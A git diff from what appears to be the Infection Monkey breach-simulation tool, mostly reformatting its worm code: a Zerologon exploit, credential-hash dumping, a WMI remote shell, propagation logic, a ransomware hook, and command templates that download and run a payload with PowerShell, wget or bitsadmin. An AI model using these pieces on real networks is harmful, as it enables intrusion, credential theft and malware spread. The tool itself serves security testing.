diff --git a/monkey/infection_monkey/exploit/zerologon_utils/dump_secrets.py b/monkey/infection_monkey/exploit/zerologon_utils/dump_secrets.py
index b196528e7..f76fe361b 100644
--- a/monkey/infection_monkey/exploit/zerologon_utils/dump_secrets.py
+++ b/monkey/infection_monkey/exploit/zerologon_utils/dump_secrets.py
@@ -131,12 +131,11 @@ class DumpSecrets:
try:
self.connect()
except Exception as e:
- if (
- os.getenv("KRB5CCNAME") is not None
- and self.__do_kerberos is True
- ):
- # SMBConnection failed. That might be because there was no way to log into the
- # target system. We just have a last resort. Hope we have tickets cached and that they
+ if os.getenv("KRB5CCNAME") is not None and self.__do_kerberos is True:
+ # SMBConnection failed. That might be because there was no way to
+ # log into the
+ # target system. We just have a last resort. Hope we have tickets
+ # cached and that they
# will work
LOG.debug(
"SMBConnection didn't work, hoping Kerberos will help (%s)"
@@ -165,11 +164,13 @@ class DumpSecrets:
and os.getenv("KRB5CCNAME") is not None
and self.__do_kerberos is True
):
- # Giving some hints here when SPN target name validation is set to something different to Off.
- # This will prevent establishing SMB connections using TGS for SPNs different to cifs/.
+ # Giving some hints here when SPN target name validation is set to
+ # something different to Off.
+ # This will prevent establishing SMB connections using TGS for SPNs
+ # different to cifs/.
LOG.error(
- "Policy SPN target name validation might be restricting full DRSUAPI dump."
- + "Try -just-dc-user"
+ "Policy SPN target name validation might be restricting full "
+ "DRSUAPI dump." + "Try -just-dc-user"
)
else:
LOG.error("RemoteOperations failed: %s" % str(e))
@@ -211,7 +212,8 @@ class DumpSecrets:
LOG.debug(traceback.print_exc())
LOG.error("LSA hashes extraction failed: %s" % str(e))
- # NTDS Extraction we can try regardless of RemoteOperations failing. It might still work.
+ # NTDS Extraction we can try regardless of RemoteOperations failing. It might
+ # still work.
if self.__is_remote is True:
if self.__use_VSS_method and self.__remote_ops is not None:
NTDS_file_name = self.__remote_ops.saveNTDS()
@@ -234,7 +236,8 @@ class DumpSecrets:
except Exception as e:
LOG.debug(traceback.print_exc())
if str(e).find("ERROR_DS_DRA_BAD_DN") >= 0:
- # We don't store the resume file if this error happened, since this error is related to lack
+ # We don't store the resume file if this error happened, since this error
+ # is related to lack
# of enough privileges to access DRSUAPI.
resume_file = self.__NTDS_hashes.getResumeSessionFile()
if resume_file is not None:
@@ -242,7 +245,8 @@ class DumpSecrets:
LOG.error(e)
if self.__use_VSS_method is False:
LOG.error(
- "Something wen't wrong with the DRSUAPI approach. Try again with -use-vss parameter"
+ "Something wen't wrong with the DRSUAPI approach. Try again with "
+ "-use-vss parameter"
)
self.cleanup()
except (Exception, KeyboardInterrupt) as e:
diff --git a/monkey/infection_monkey/exploit/zerologon_utils/options.py b/monkey/infection_monkey/exploit/zerologon_utils/options.py
index 32cdfe40f..0745dc4c6 100644
--- a/monkey/infection_monkey/exploit/zerologon_utils/options.py
+++ b/monkey/infection_monkey/exploit/zerologon_utils/options.py
@@ -35,9 +35,11 @@ class OptionsForSecretsdump:
target=None,
target_ip=None,
):
- # dc_ip is assigned in get_original_pwd_nthash() and get_admin_pwd_hashes() in ../zerologon.py
+ # dc_ip is assigned in get_original_pwd_nthash() and get_admin_pwd_hashes() in
+ # ../zerologon.py
self.dc_ip = dc_ip
- # just_dc becomes False, and sam, security, and system are assigned in get_original_pwd_nthash() in ../zerologon.py
+ # just_dc becomes False, and sam, security, and system are assigned in
+ # get_original_pwd_nthash() in ../zerologon.py
self.just_dc = just_dc
self.sam = sam
self.security = security
diff --git a/monkey/infection_monkey/exploit/zerologon_utils/remote_shell.py b/monkey/infection_monkey/exploit/zerologon_utils/remote_shell.py
index 146d58615..15429eb4a 100644
--- a/monkey/infection_monkey/exploit/zerologon_utils/remote_shell.py
+++ b/monkey/infection_monkey/exploit/zerologon_utils/remote_shell.py
@@ -58,7 +58,7 @@ LOG = logging.getLogger(__name__)
class RemoteShell(cmd.Cmd):
CODEC = sys.stdout.encoding
- def __init__(self, share, win32Process, smbConnection, outputFilename):
+ def __init__(self, share, win32Process, smbConnection, outputFilename, secrets_dir):
cmd.Cmd.__init__(self)
self.__share = share
self.__output = "\\" + outputFilename
@@ -68,6 +68,7 @@ class RemoteShell(cmd.Cmd):
self.__transferClient = smbConnection
self.__pwd = str("C:\\")
self.__noOutput = False
+ self.__secrets_dir = secrets_dir
# We don't wanna deal with timeouts from now on.
if self.__transferClient is not None:
@@ -83,9 +84,7 @@ class RemoteShell(cmd.Cmd):
newPath = ntpath.normpath(ntpath.join(self.__pwd, src_path))
drive, tail = ntpath.splitdrive(newPath)
filename = ntpath.basename(tail)
- local_file_path = os.path.join(
- os.path.expanduser("~"), "monkey-" + filename
- )
+ local_file_path = os.path.join(self.__secrets_dir.name, "monkey-" + filename)
fh = open(local_file_path, "wb")
LOG.info("Downloading %s\\%s" % (drive, tail))
self.__transferClient.getFile(drive[:-1] + "$", tail, fh.write)
@@ -136,8 +135,10 @@ class RemoteShell(cmd.Cmd):
self.__outputBuffer += data.decode(self.CODEC)
except UnicodeDecodeError:
LOG.error(
- "Decoding error detected, consider running chcp.com at the target,\nmap the result with "
- "https://docs.python.org/3/library/codecs.html#standard-encodings\nand then execute wmiexec.py "
+ "Decoding error detected, consider running chcp.com at the target,"
+ "\nmap the result with "
+ "https://docs.python.org/3/library/codecs.html#standard-encodings\nand "
+ "then execute wmiexec.py "
"again with -codec and the corresponding codec"
)
self.__outputBuffer += data.decode(self.CODEC, errors="replace")
@@ -148,9 +149,7 @@ class RemoteShell(cmd.Cmd):
while True:
try:
- self.__transferClient.getFile(
- self.__share, self.__output, output_callback
- )
+ self.__transferClient.getFile(self.__share, self.__output, output_callback)
break
except Exception as e:
if str(e).find("STATUS_SHARING_VIOLATION") >= 0:
@@ -166,9 +165,7 @@ class RemoteShell(cmd.Cmd):
def execute_remote(self, data):
command = self.__shell + data
if self.__noOutput is False:
- command += (
- " 1> " + "\\\\127.0.0.1\\%s" % self.__share + self.__output + " 2>&1"
- )
+ command += " 1> " + "\\\\127.0.0.1\\%s" % self.__share + self.__output + " 2>&1"
self.__win32Process.Create(command, self.__pwd, None)
self.get_output()
diff --git a/monkey/infection_monkey/exploit/zerologon_utils/vuln_assessment.py b/monkey/infection_monkey/exploit/zerologon_utils/vuln_assessment.py
index 3470dd39a..467c41d69 100644
--- a/monkey/infection_monkey/exploit/zerologon_utils/vuln_assessment.py
+++ b/monkey/infection_monkey/exploit/zerologon_utils/vuln_assessment.py
@@ -23,14 +23,15 @@ def _get_dc_name(dc_ip: str) -> str:
"""
nb = nmb.NetBIOS.NetBIOS()
name = nb.queryIPForName(
- ip=dc_ip,
- timeout=MEDIUM_REQUEST_TIMEOUT
+ ip=dc_ip, timeout=MEDIUM_REQUEST_TIMEOUT
) # returns either a list of NetBIOS names or None
if name:
return name[0]
else:
- raise DomainControllerNameFetchError("Couldn't get domain controller's name, maybe it's on external network?")
+ raise DomainControllerNameFetchError(
+ "Couldn't get domain controller's name, maybe it's on external network?"
+ )
def is_exploitable(zerologon_exploiter_object) -> (bool, Optional[rpcrt.DCERPC_v5]):
@@ -44,9 +45,7 @@ def is_exploitable(zerologon_exploiter_object) -> (bool, Optional[rpcrt.DCERPC_v
# Try authenticating.
for _ in range(0, zerologon_exploiter_object.MAX_ATTEMPTS):
try:
- rpc_con_auth_result = _try_zero_authenticate(
- zerologon_exploiter_object, rpc_con
- )
+ rpc_con_auth_result = _try_zero_authenticate(zerologon_exploiter_object, rpc_con)
if rpc_con_auth_result is not None:
return True, rpc_con_auth_result
except Exception as ex:
@@ -56,9 +55,7 @@ def is_exploitable(zerologon_exploiter_object) -> (bool, Optional[rpcrt.DCERPC_v
return False, None
-def _try_zero_authenticate(
- zerologon_exploiter_object, rpc_con: rpcrt.DCERPC_v5
-) -> rpcrt.DCERPC_v5:
+def _try_zero_authenticate(zerologon_exploiter_object, rpc_con: rpcrt.DCERPC_v5) -> rpcrt.DCERPC_v5:
plaintext = b"\x00" * 8
ciphertext = b"\x00" * 8
flags = 0x212FFFFF
diff --git a/monkey/infection_monkey/exploit/zerologon_utils/wmiexec.py b/monkey/infection_monkey/exploit/zerologon_utils/wmiexec.py
index 1beaafddd..70f3d5a07 100644
--- a/monkey/infection_monkey/exploit/zerologon_utils/wmiexec.py
+++ b/monkey/infection_monkey/exploit/zerologon_utils/wmiexec.py
@@ -61,13 +61,16 @@ LOG = logging.getLogger(__name__)
class Wmiexec:
OUTPUT_FILENAME = "__" + str(time.time())
- def __init__(self, ip, username, hashes, password="", domain="", share="ADMIN$"):
+ def __init__(
+ self, ip, username, hashes, password="", domain="", share="ADMIN$", secrets_dir=None
+ ):
self.__ip = ip
self.__username = username
self.__password = password
self.__domain = domain
self.__lmhash, self.__nthash = hashes.split(":")
self.__share = share
+ self.__secrets_dir = secrets_dir
self.shell = None
def connect(self):
@@ -95,9 +98,7 @@ class Wmiexec:
wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login
)
iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
- self.iWbemServices = iWbemLevel1Login.NTLMLogin(
- "//./root/cimv2", NULL, NULL
- )
+ self.iWbemServices = iWbemLevel1Login.NTLMLogin("//./root/cimv2", NULL, NULL)
iWbemLevel1Login.RemRelease()
except (Exception, KeyboardInterrupt) as e:
@@ -109,7 +110,7 @@ class Wmiexec:
self.connect()
win32Process, _ = self.iWbemServices.GetObject("Win32_Process")
self.shell = RemoteShell(
- self.__share, win32Process, self.smbConnection, self.OUTPUT_FILENAME
+ self.__share, win32Process, self.smbConnection, self.OUTPUT_FILENAME, self.__secrets_dir
)
return self.shell
diff --git a/monkey/infection_monkey/main.py b/monkey/infection_monkey/main.py
index 945ccd8cf..5d6947952 100644
--- a/monkey/infection_monkey/main.py
+++ b/monkey/infection_monkey/main.py
@@ -6,6 +6,7 @@ import os
import sys
import traceback
from multiprocessing import freeze_support
+from pprint import pformat
# dummy import for pyinstaller
# noinspection PyUnresolvedReferences
@@ -17,29 +18,28 @@ from infection_monkey.model import DROPPER_ARG, MONKEY_ARG
from infection_monkey.monkey import InfectionMonkey
from infection_monkey.utils.monkey_log_path import get_dropper_log_path, get_monkey_log_path
-__author__ = 'itamar'
-
LOG = None
-LOG_CONFIG = {'version': 1,
- 'disable_existing_loggers': False,
- 'formatters': {
- 'standard': {
- 'format':
- '%(asctime)s [%(process)d:%(thread)d:%(levelname)s] %(module)s.%(funcName)s.%(lineno)d: %(message)s'
- },
- },
- 'handlers': {'console': {'class': 'logging.StreamHandler',
- 'level': 'DEBUG',
- 'formatter': 'standard'},
- 'file': {'class': 'logging.FileHandler',
- 'level': 'DEBUG',
- 'formatter': 'standard',
- 'filename': None}
- },
- 'root': {'level': 'DEBUG',
- 'handlers': ['console']},
- }
+LOG_CONFIG = {
+ "version": 1,
+ "disable_existing_loggers": False,
+ "formatters": {
+ "standard": {
+ "format": "%(asctime)s [%(process)d:%(thread)d:%(levelname)s] %(module)s.%("
+ "funcName)s.%(lineno)d: %(message)s"
+ },
+ },
+ "handlers": {
+ "console": {"class": "logging.StreamHandler", "level": "DEBUG", "formatter": "standard"},
+ "file": {
+ "class": "logging.FileHandler",
+ "level": "DEBUG",
+ "formatter": "standard",
+ "filename": None,
+ },
+ },
+ "root": {"level": "DEBUG", "handlers": ["console"]},
+}
def main():
@@ -56,7 +56,7 @@ def main():
config_file = EXTERNAL_CONFIG_FILE
arg_parser = argparse.ArgumentParser()
- arg_parser.add_argument('-c', '--config')
+ arg_parser.add_argument("-c", "--config")
opts, monkey_args = arg_parser.parse_known_args(sys.argv[2:])
if opts.config:
config_file = opts.config
@@ -70,13 +70,20 @@ def main():
except ValueError as e:
print("Error loading config: %s, using default" % (e,))
else:
- print("Config file wasn't supplied and default path: %s wasn't found, using internal default" % (config_file,))
+ print(
+ "Config file wasn't supplied and default path: %s wasn't found, using internal "
+ "default" % (config_file,)
+ )
- print("Loaded Configuration: %r" % WormConfiguration.hide_sensitive_info(WormConfiguration.as_dict()))
+ formatted_config = pformat(WormConfiguration.hide_sensitive_info(WormConfiguration.as_dict()))
+ print(f"Loaded Configuration:\n{formatted_config}")
# Make sure we're not in a machine that has the kill file
- kill_path = os.path.expandvars(
- WormConfiguration.kill_file_path_windows) if sys.platform == "win32" else WormConfiguration.kill_file_path_linux
+ kill_path = (
+ os.path.expandvars(WormConfiguration.kill_file_path_windows)
+ if sys.platform == "win32"
+ else WormConfiguration.kill_file_path_linux
+ )
if os.path.exists(kill_path):
print("Kill path found, finished run")
return True
@@ -95,29 +102,31 @@ def main():
if WormConfiguration.use_file_logging:
if os.path.exists(log_path):
- # If log exists but can't be removed it means other monkey is running. This usually happens on upgrade
+ # If log exists but can't be removed it means other monkey is running. This usually
+ # happens on upgrade
# from 32bit to 64bit monkey on Windows. In all cases this shouldn't be a problem.
try:
os.remove(log_path)
except OSError:
pass
- LOG_CONFIG['handlers']['file']['filename'] = log_path
+ LOG_CONFIG["handlers"]["file"]["filename"] = log_path
# noinspection PyUnresolvedReferences
- LOG_CONFIG['root']['handlers'].append('file')
+ LOG_CONFIG["root"]["handlers"].append("file")
else:
- del LOG_CONFIG['handlers']['file']
+ del LOG_CONFIG["handlers"]["file"]
logging.config.dictConfig(LOG_CONFIG)
LOG = logging.getLogger()
def log_uncaught_exceptions(ex_cls, ex, tb):
- LOG.critical(''.join(traceback.format_tb(tb)))
- LOG.critical('{0}: {1}'.format(ex_cls, ex))
+ LOG.critical("".join(traceback.format_tb(tb)))
+ LOG.critical("{0}: {1}".format(ex_cls, ex))
sys.excepthook = log_uncaught_exceptions
- LOG.info(">>>>>>>>>> Initializing monkey (%s): PID %s <<<<<<<<<<",
- monkey_cls.__name__, os.getpid())
+ LOG.info(
+ ">>>>>>>>>> Initializing monkey (%s): PID %s <<<<<<<<<<", monkey_cls.__name__, os.getpid()
+ )
LOG.info(f"version: {get_version()}")
@@ -128,9 +137,16 @@ def main():
monkey.start()
if WormConfiguration.serialize_config:
- with open(config_file, 'w') as config_fo:
+ with open(config_file, "w") as config_fo:
json_dict = WormConfiguration.as_dict()
- json.dump(json_dict, config_fo, skipkeys=True, sort_keys=True, indent=4, separators=(',', ': '))
+ json.dump(
+ json_dict,
+ config_fo,
+ skipkeys=True,
+ sort_keys=True,
+ indent=4,
+ separators=(",", ": "),
+ )
return True
except Exception as e:
diff --git a/monkey/infection_monkey/model/__init__.py b/monkey/infection_monkey/model/__init__.py
index 4f3f2c27d..c8cf5aa1c 100644
--- a/monkey/infection_monkey/model/__init__.py
+++ b/monkey/infection_monkey/model/__init__.py
@@ -1,29 +1,43 @@
from infection_monkey.model.host import VictimHost # noqa: F401
-__author__ = 'itamar'
-
MONKEY_ARG = "m0nk3y"
DROPPER_ARG = "dr0pp3r"
ID_STRING = "M0NK3Y3XPL0ITABLE"
# CMD prefix for windows commands
-CMD_PREFIX = "cmd.exe /c"
-DROPPER_CMDLINE_WINDOWS = '%s %%(dropper_path)s %s' % (CMD_PREFIX, DROPPER_ARG,)
-MONKEY_CMDLINE_WINDOWS = '%s %%(monkey_path)s %s' % (CMD_PREFIX, MONKEY_ARG,)
-MONKEY_CMDLINE_LINUX = './%%(monkey_filename)s %s' % (MONKEY_ARG,)
-GENERAL_CMDLINE_LINUX = '(cd %(monkey_directory)s && %(monkey_commandline)s)'
-DROPPER_CMDLINE_DETACHED_WINDOWS = '%s start cmd /c %%(dropper_path)s %s' % (CMD_PREFIX, DROPPER_ARG,)
-MONKEY_CMDLINE_DETACHED_WINDOWS = '%s start cmd /c %%(monkey_path)s %s' % (CMD_PREFIX, MONKEY_ARG,)
-MONKEY_CMDLINE_HTTP = '%s /c "bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s' \
- '&cmd /c %%(monkey_path)s %s"' % (CMD_PREFIX, MONKEY_ARG,)
-DELAY_DELETE_CMD = 'cmd /c (for /l %%i in (1,0,2) do (ping -n 60 127.0.0.1 & del /f /q %(file_path)s & ' \
- 'if not exist %(file_path)s exit)) > NUL 2>&1 '
+CMD_EXE = "cmd.exe"
+CMD_CARRY_OUT = "/c"
+CMD_PREFIX = CMD_EXE + " " + CMD_CARRY_OUT
+DROPPER_CMDLINE_WINDOWS = "%s %%(dropper_path)s %s" % (
+ CMD_PREFIX,
+ DROPPER_ARG,
+)
+MONKEY_CMDLINE_WINDOWS = "%s %%(monkey_path)s %s" % (
+ CMD_PREFIX,
+ MONKEY_ARG,
+)
+DROPPER_CMDLINE_DETACHED_WINDOWS = "%s start cmd /c %%(dropper_path)s %s" % (
+ CMD_PREFIX,
+ DROPPER_ARG,
+)
+MONKEY_CMDLINE_DETACHED_WINDOWS = "%s start cmd /c %%(monkey_path)s %s" % (
+ CMD_PREFIX,
+ MONKEY_ARG,
+)
+DELAY_DELETE_CMD = (
+ "cmd /c (for /l %%i in (1,0,2) do (ping -n 60 127.0.0.1 & del /f /q %(file_path)s & "
+ "if not exist %(file_path)s exit)) > NUL 2>&1 "
+)
# Commands used for downloading monkeys
-POWERSHELL_HTTP_UPLOAD = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \'%(http_path)s\' -OutFile \'%(" \
- "monkey_path)s\' -UseBasicParsing\" "
+POWERSHELL_HTTP_UPLOAD = (
+ "powershell -NoLogo -Command \"Invoke-WebRequest -Uri '%(http_path)s' -OutFile '%("
+ "monkey_path)s' -UseBasicParsing\" "
+)
WGET_HTTP_UPLOAD = "wget -O %(monkey_path)s %(http_path)s"
-BITSADMIN_CMDLINE_HTTP = 'bitsadmin /transfer Update /download /priority high %(http_path)s %(monkey_path)s'
+BITSADMIN_CMDLINE_HTTP = (
+ "bitsadmin /transfer Update /download /priority high %(http_path)s %(monkey_path)s"
+)
CHMOD_MONKEY = "chmod +x %(monkey_path)s"
RUN_MONKEY = " %(monkey_path)s %(monkey_type)s %(parameters)s"
# Commands used to check for architecture and if machine is exploitable
@@ -33,13 +47,17 @@ GET_ARCH_WINDOWS = "wmic os get osarchitecture"
GET_ARCH_LINUX = "lscpu"
# All in one commands (upload, change permissions, run)
-HADOOP_WINDOWS_COMMAND = "powershell -NoLogo -Command \"if (!(Test-Path '%(monkey_path)s')) { " \
- "Invoke-WebRequest -Uri '%(http_path)s' -OutFile '%(monkey_path)s' -UseBasicParsing }; " \
- " if (! (ps | ? {$_.path -eq '%(monkey_path)s'})) " \
- "{& %(monkey_path)s %(monkey_type)s %(parameters)s } \""
-HADOOP_LINUX_COMMAND = "! [ -f %(monkey_path)s ] " \
- "&& wget -O %(monkey_path)s %(http_path)s " \
- "; chmod +x %(monkey_path)s " \
- "&& %(monkey_path)s %(monkey_type)s %(parameters)s"
+HADOOP_WINDOWS_COMMAND = (
+ "powershell -NoLogo -Command \"if (!(Test-Path '%(monkey_path)s')) { "
+ "Invoke-WebRequest -Uri '%(http_path)s' -OutFile '%(monkey_path)s' -UseBasicParsing }; "
+ " if (! (ps | ? {$_.path -eq '%(monkey_path)s'})) "
+ '{& %(monkey_path)s %(monkey_type)s %(parameters)s } "'
+)
+HADOOP_LINUX_COMMAND = (
+ "! [ -f %(monkey_path)s ] "
+ "&& wget -O %(monkey_path)s %(http_path)s "
+ "; chmod +x %(monkey_path)s "
+ "&& %(monkey_path)s %(monkey_type)s %(parameters)s"
+)
DOWNLOAD_TIMEOUT = 180
diff --git a/monkey/infection_monkey/model/host.py b/monkey/infection_monkey/model/host.py
index d71446108..892004eb3 100644
--- a/monkey/infection_monkey/model/host.py
+++ b/monkey/infection_monkey/model/host.py
@@ -1,8 +1,5 @@
-__author__ = 'itamar'
-
-
class VictimHost(object):
- def __init__(self, ip_addr, domain_name=''):
+ def __init__(self, ip_addr, domain_name=""):
self.ip_addr = ip_addr
self.domain_name = str(domain_name)
self.os = {}
@@ -41,7 +38,7 @@ class VictimHost(object):
victim += "] Services - ["
for k, v in list(self.services.items()):
victim += "%s-%s " % (k, v)
- victim += '] ICMP: %s ' % (self.icmp)
+ victim += "] ICMP: %s " % (self.icmp)
victim += "target monkey: %s" % self.monkey_exe
return victim
diff --git a/monkey/infection_monkey/model/victim_host_generator.py b/monkey/infection_monkey/model/victim_host_generator.py
index 1e9eba9c2..444c4a5ee 100644
--- a/monkey/infection_monkey/model/victim_host_generator.py
+++ b/monkey/infection_monkey/model/victim_host_generator.py
@@ -31,7 +31,7 @@ class VictimHostGenerator(object):
for address in net_range:
if not self.is_ip_scannable(address): # check if the IP should be skipped
continue
- if hasattr(net_range, 'domain_name'):
+ if hasattr(net_range, "domain_name"):
victim = VictimHost(address, net_range.domain_name)
else:
victim = VictimHost(address)
diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py
index 3a5c5619f..86697cd8f 100644
--- a/monkey/infection_monkey/monkey.py
+++ b/monkey/infection_monkey/monkey.py
@@ -7,7 +7,6 @@ import time
from threading import Thread
import infection_monkey.tunnel as tunnel
-from infection_monkey.network.tools import is_running_on_island
from common.utils.attack_utils import ScanStatus, UsageEnum
from common.utils.exceptions import ExploitingVulnerableMachineError, FailedExploitationError
from common.version import get_version
@@ -18,8 +17,9 @@ from infection_monkey.model import DELAY_DELETE_CMD
from infection_monkey.network.firewall import app as firewall
from infection_monkey.network.HostFinger import HostFinger
from infection_monkey.network.network_scanner import NetworkScanner
-from infection_monkey.network.tools import get_interface_to_target
+from infection_monkey.network.tools import get_interface_to_target, is_running_on_island
from infection_monkey.post_breach.post_breach_handler import PostBreach
+from infection_monkey.ransomware.ransomware_payload_builder import build_ransomware_payload
from infection_monkey.system_info import SystemInfoCollector
from infection_monkey.system_singleton import SystemSingleton
from infection_monkey.telemetry.attack.t1106_telem import T1106Telem
@@ -32,13 +32,16 @@ from infection_monkey.telemetry.trace_telem import TraceTelem
from infection_monkey.telemetry.tunnel_telem import TunnelTelem
from infection_monkey.utils.environment import is_windows_os
from infection_monkey.utils.exceptions.planned_shutdown_exception import PlannedShutdownException
-from infection_monkey.utils.monkey_dir import create_monkey_dir, get_monkey_dir_path, remove_monkey_dir
+from infection_monkey.utils.monkey_dir import (
+ create_monkey_dir,
+ get_monkey_dir_path,
+ remove_monkey_dir,
+)
from infection_monkey.utils.monkey_log_path import get_monkey_log_path
from infection_monkey.windows_upgrader import WindowsUpgrader
-MAX_DEPTH_REACHED_MESSAGE = "Reached max depth, shutting down"
+MAX_DEPTH_REACHED_MESSAGE = "Reached max depth, skipping propagation phase."
-__author__ = 'itamar'
LOG = logging.getLogger(__name__)
@@ -53,14 +56,14 @@ class InfectionMonkey(object):
self._default_tunnel = None
self._args = args
self._network = None
- self._dropper_path = None
self._exploiters = None
self._fingerprint = None
self._default_server = None
self._default_server_port = None
- self._depth = 0
self._opts = None
self._upgrading_to_64 = False
+ self._monkey_tunnel = None
+ self._post_breach_phase = None
def initialize(self):
LOG.info("Monkey is initializing...")
@@ -69,11 +72,11 @@ class InfectionMonkey(object):
raise Exception("Another instance of the monkey is already running")
arg_parser = argparse.ArgumentParser()
- arg_parser.add_argument('-p', '--parent')
- arg_parser.add_argument('-t', '--tunnel')
- arg_parser.add_argument('-s', '--server')
- arg_parser.add_argument('-d', '--depth', type=int)
- arg_parser.add_argument('-vp', '--vulnerable-port')
+ arg_parser.add_argument("-p", "--parent")
+ arg_parser.add_argument("-t", "--tunnel")
+ arg_parser.add_argument("-s", "--server")
+ arg_parser.add_argument("-d", "--depth", type=int)
+ arg_parser.add_argument("-vp", "--vulnerable-port")
self._opts, self._args = arg_parser.parse_known_args(self._args)
self.log_arguments()
@@ -89,14 +92,15 @@ class InfectionMonkey(object):
self._keep_running = True
self._network = NetworkScanner()
- self._dropper_path = sys.argv[0]
if self._default_server:
if self._default_server not in WormConfiguration.command_servers:
LOG.debug("Added default server: %s" % self._default_server)
WormConfiguration.command_servers.insert(0, self._default_server)
else:
- LOG.debug("Default server: %s is already in command servers list" % self._default_server)
+ LOG.debug(
+ "Default server: %s is already in command servers list" % self._default_server
+ )
def start(self):
try:
@@ -123,132 +127,70 @@ class InfectionMonkey(object):
if is_running_on_island():
WormConfiguration.started_on_island = True
ControlClient.report_start_on_island()
- ControlClient.should_monkey_run(self._opts.vulnerable_port)
+
+ if not ControlClient.should_monkey_run(self._opts.vulnerable_port):
+ raise PlannedShutdownException(
+ "Monkey shouldn't run on current machine "
+ "(it will be exploited later with more depth)."
+ )
if firewall.is_enabled():
firewall.add_firewall_rule()
- monkey_tunnel = ControlClient.create_control_tunnel()
- if monkey_tunnel:
- monkey_tunnel.start()
+ self._monkey_tunnel = ControlClient.create_control_tunnel()
+ if self._monkey_tunnel:
+ self._monkey_tunnel.start()
StateTelem(is_done=False, version=get_version()).send()
TunnelTelem().send()
LOG.debug("Starting the post-breach phase asynchronously.")
- post_breach_phase = Thread(target=self.start_post_breach_phase)
- post_breach_phase.start()
+ self._post_breach_phase = Thread(target=self.start_post_breach_phase)
+ self._post_breach_phase.start()
- LOG.debug("Starting the propagation phase.")
- self.shutdown_by_max_depth_reached()
-
- for iteration_index in range(WormConfiguration.max_iterations):
- ControlClient.keepalive()
- ControlClient.load_control_config()
-
- self._network.initialize()
-
- self._fingerprint = HostFinger.get_instances()
-
- self._exploiters = HostExploiter.get_classes()
-
- if not self._keep_running or not WormConfiguration.alive:
- break
-
- machines = self._network.get_victim_machines(max_find=WormConfiguration.victims_max_find,
- stop_callback=ControlClient.check_for_stop)
- is_empty = True
- for machine in machines:
- if ControlClient.check_for_stop():
- break
-
- is_empty = False
- for finger in self._fingerprint:
- LOG.info("Trying to get OS fingerprint from %r with module %s",
- machine, finger.__class__.__name__)
- try:
- finger.get_host_fingerprint(machine)
- except BaseException as exc:
- LOG.error("Failed to run fingerprinter %s, exception %s" % finger.__class__.__name__,
- str(exc))
-
- ScanTelem(machine).send()
-
- # skip machines that we've already exploited
- if machine in self._exploited_machines:
- LOG.debug("Skipping %r - already exploited",
- machine)
- continue
- elif machine in self._fail_exploitation_machines:
- if WormConfiguration.retry_failed_explotation:
- LOG.debug("%r - exploitation failed before, trying again", machine)
- else:
- LOG.debug("Skipping %r - exploitation failed before", machine)
- continue
-
- if monkey_tunnel:
- monkey_tunnel.set_tunnel_for_host(machine)
- if self._default_server:
- if self._network.on_island(self._default_server):
- machine.set_default_server(get_interface_to_target(machine.ip_addr) +
- (':' + self._default_server_port
- if self._default_server_port else ''))
- else:
- machine.set_default_server(self._default_server)
- LOG.debug("Default server for machine: %r set to %s" % (machine, machine.default_server))
-
- # Order exploits according to their type
- self._exploiters = sorted(self._exploiters, key=lambda exploiter_: exploiter_.EXPLOIT_TYPE.value)
- host_exploited = False
- for exploiter in [exploiter(machine) for exploiter in self._exploiters]:
- if self.try_exploiting(machine, exploiter):
- host_exploited = True
- VictimHostTelem('T1210', ScanStatus.USED, machine=machine).send()
- if exploiter.RUNS_AGENT_ON_SUCCESS:
- break # if adding machine to exploited, won't try other exploits on it
- if not host_exploited:
- self._fail_exploitation_machines.add(machine)
- VictimHostTelem('T1210', ScanStatus.SCANNED, machine=machine).send()
- if not self._keep_running:
- break
-
- if (not is_empty) and (WormConfiguration.max_iterations > iteration_index + 1):
- time_to_sleep = WormConfiguration.timeout_between_iterations
- LOG.info("Sleeping %d seconds before next life cycle iteration", time_to_sleep)
- time.sleep(time_to_sleep)
+ if not InfectionMonkey.max_propagation_depth_reached():
+ LOG.info("Starting the propagation phase.")
+ LOG.debug("Running with depth: %d" % WormConfiguration.depth)
+ self.propagate()
+ else:
+ LOG.info("Maximum propagation depth has been reached; monkey will not propagate.")
+ TraceTelem(MAX_DEPTH_REACHED_MESSAGE).send()
if self._keep_running and WormConfiguration.alive:
- LOG.info("Reached max iterations (%d)", WormConfiguration.max_iterations)
- elif not WormConfiguration.alive:
- LOG.info("Marked not alive from configuration")
+ InfectionMonkey.run_ransomware()
- # if host was exploited, before continue to closing the tunnel ensure the exploited host had its chance to
+ # if host was exploited, before continue to closing the tunnel ensure the exploited
+ # host had its chance to
# connect to the tunnel
if len(self._exploited_machines) > 0:
time_to_sleep = WormConfiguration.keep_tunnel_open_time
- LOG.info("Sleeping %d seconds for exploited machines to connect to tunnel", time_to_sleep)
+ LOG.info(
+ "Sleeping %d seconds for exploited machines to connect to tunnel", time_to_sleep
+ )
time.sleep(time_to_sleep)
- if monkey_tunnel:
- monkey_tunnel.stop()
- monkey_tunnel.join()
-
- post_breach_phase.join()
-
except PlannedShutdownException:
- LOG.info("A planned shutdown of the Monkey occurred. Logging the reason and finishing execution.")
+ LOG.info(
+ "A planned shutdown of the Monkey occurred. Logging the reason and finishing "
+ "execution."
+ )
LOG.exception("Planned shutdown, reason:")
+ finally:
+ if self._monkey_tunnel:
+ self._monkey_tunnel.stop()
+ self._monkey_tunnel.join()
+
+ if self._post_breach_phase:
+ self._post_breach_phase.join()
+
def start_post_breach_phase(self):
self.collect_system_info_if_configured()
PostBreach().execute_all_configured()
- def shutdown_by_max_depth_reached(self):
- if 0 == WormConfiguration.depth:
- TraceTelem(MAX_DEPTH_REACHED_MESSAGE).send()
- raise PlannedShutdownException(MAX_DEPTH_REACHED_MESSAGE)
- else:
- LOG.debug("Running with depth: %d" % WormConfiguration.depth)
+ @staticmethod
+ def max_propagation_depth_reached():
+ return 0 == WormConfiguration.depth
def collect_system_info_if_configured(self):
LOG.debug("Calling for system info collection")
@@ -263,6 +205,101 @@ class InfectionMonkey(object):
if not WormConfiguration.alive:
raise PlannedShutdownException("Marked 'not alive' from configuration.")
+ def propagate(self):
+ for iteration_index in range(WormConfiguration.max_iterations):
+ ControlClient.keepalive()
+ ControlClient.load_control_config()
+
+ self._network.initialize()
+
+ self._fingerprint = HostFinger.get_instances()
+
+ self._exploiters = HostExploiter.get_classes()
+
+ if not self._keep_running or not WormConfiguration.alive:
+ break
+
+ machines = self._network.get_victim_machines(
